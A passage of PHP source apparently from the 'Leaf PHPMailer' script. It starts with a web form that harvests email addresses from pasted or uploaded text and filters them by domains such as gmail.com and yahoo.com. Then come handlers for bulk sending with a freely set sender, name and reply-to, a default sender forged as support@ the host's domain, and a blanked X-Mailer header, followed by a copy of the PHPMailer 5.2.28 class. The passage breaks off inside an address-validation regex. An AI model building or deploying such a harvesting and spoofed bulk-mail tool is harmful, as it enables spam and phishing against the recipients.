        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
